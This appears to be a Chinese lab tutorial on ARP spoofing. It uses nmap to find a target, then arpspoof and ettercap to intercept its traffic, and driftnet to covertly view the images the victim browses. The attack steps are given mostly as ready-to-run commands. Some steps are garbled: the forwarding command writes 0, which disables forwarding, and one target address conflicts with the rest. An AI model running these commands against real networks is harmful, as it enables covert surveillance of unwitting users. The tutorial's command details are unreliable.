ARP欺骗

寻找目标主机

查看自己的ip地址、子网掩码等信息

ifconfig

O1D$7S619@7NGM9F(J(%WXX.png

可以看到，本机的ip地址为：192.168.75.129，网卡 eth0
接下来扫描内网中的主机：
nmap -sP 192.168.75.0/24

YK~Q_E$4QJ{%HA({J_W8}IO.png

目标主机的ip是：192.168.75.130
我们还可以使用以下命令来查看目标主机的操作系统信息：
nmap -O 192.168.75.130

先arp欺骗，获取流量

arpspoof -i eth0 -t 192.168.75.130 192.168.75.2

2(~KF$D`8L)@B_30GX335IO.png

使用这个命令获取到从 192.168.75.130 发往 192.168.75.2（路由器）的流量。
流量被拦截，目标主机这时打不开想浏览的网页。

我们想要做的是查看目标主机在线浏览的图片，并且让目标主机察觉不到。下面进行：

开启流量转发功能

使流量经过流程为：
A->B->C
A是路由器，B是攻击住机，C是目标机
1、首先开启流量转发功能
echo 0 >> /proc/sys/net/ipv4/ip_forward
2.使用arpspoof/ettercap，选一个进行arp欺骗。获取从192.168.75.2（路由器） 到 172.17.171.130（目标机）的流量。
ettercap -T -q -M ARP /192.168.75.130///

~AO5UWF0)2A$N7YZ3H7%)JP.png

3.打开另一个终端，使用driftnet进行流量监控，显示图片
driftnet -i eth0

4H2(DAUU$TM}`N}Q4`WO_JH.png

`65CK@1{~%WCNMH5%L7`BMJ.png